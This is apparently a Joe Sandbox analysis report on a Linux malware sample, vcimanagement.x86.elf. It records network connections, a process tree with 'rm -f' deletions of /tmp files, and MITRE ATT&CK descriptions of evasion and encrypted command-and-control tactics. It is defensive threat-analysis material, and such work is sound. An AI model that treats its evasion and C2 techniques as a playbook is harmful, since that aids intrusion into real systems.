Dec 30, 2024 08:28:05.377572060 CET	42836	443	192.168.2.23	91.189.91.43
Dec 30, 2024 08:28:13.594185114 CET	443	39258	34.249.145.219	192.168.2.23
Dec 30, 2024 08:28:13.594542980 CET	39258	443	192.168.2.23	34.249.145.219
Dec 30, 2024 08:28:13.594600916 CET	443	39258	34.249.145.219	192.168.2.23
Dec 30, 2024 08:28:36.093205929 CET	43928	443	192.168.2.23	91.189.91.42
Dec 30, 2024 08:28:56.570425034 CET	42836	443	192.168.2.23	91.189.91.43

System Behavior

Analysis Process: vcimanagement.x86.elf PID: 6267, Parent PID: 6192

General

Start time (UTC):	07:27:29
Start date (UTC):	30/12/2024
Path:	/tmp/vcimanagement.x86.elf
Arguments:	/tmp/vcimanagement.x86.elf
File size:	62224 bytes
MD5 hash:	3c2a41675e076c76114cc43d3b6a3281

Analysis Process: dash PID: 6313, Parent PID: 4331

General

Start time (UTC):	07:28:12
Start date (UTC):	30/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6313, Parent PID: 4331

General

Start time (UTC):	07:28:12
Start date (UTC):	30/12/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.0Gqbp24jPM /tmp/tmp.9Flr55xoHq /tmp/tmp.FyuYCQPlo6
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: dash PID: 6314, Parent PID: 4331

General

Start time (UTC):	07:28:12
Start date (UTC):	30/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6314, Parent PID: 4331

General

Start time (UTC):	07:28:12
Start date (UTC):	30/12/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.0Gqbp24jPM /tmp/tmp.9Flr55xoHq /tmp/tmp.FyuYCQPlo6
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report vcimanagement.x86.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: vcimanagement.x86.elf PID: 6267, Parent PID: 6192

General

Analysis Process: dash PID: 6313, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6313, Parent PID: 4331

General

Chronological Activities

Analysis Process: dash PID: 6314, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6314, Parent PID: 4331

General

Chronological Activities

Linux Analysis Report
vcimanagement.x86.elf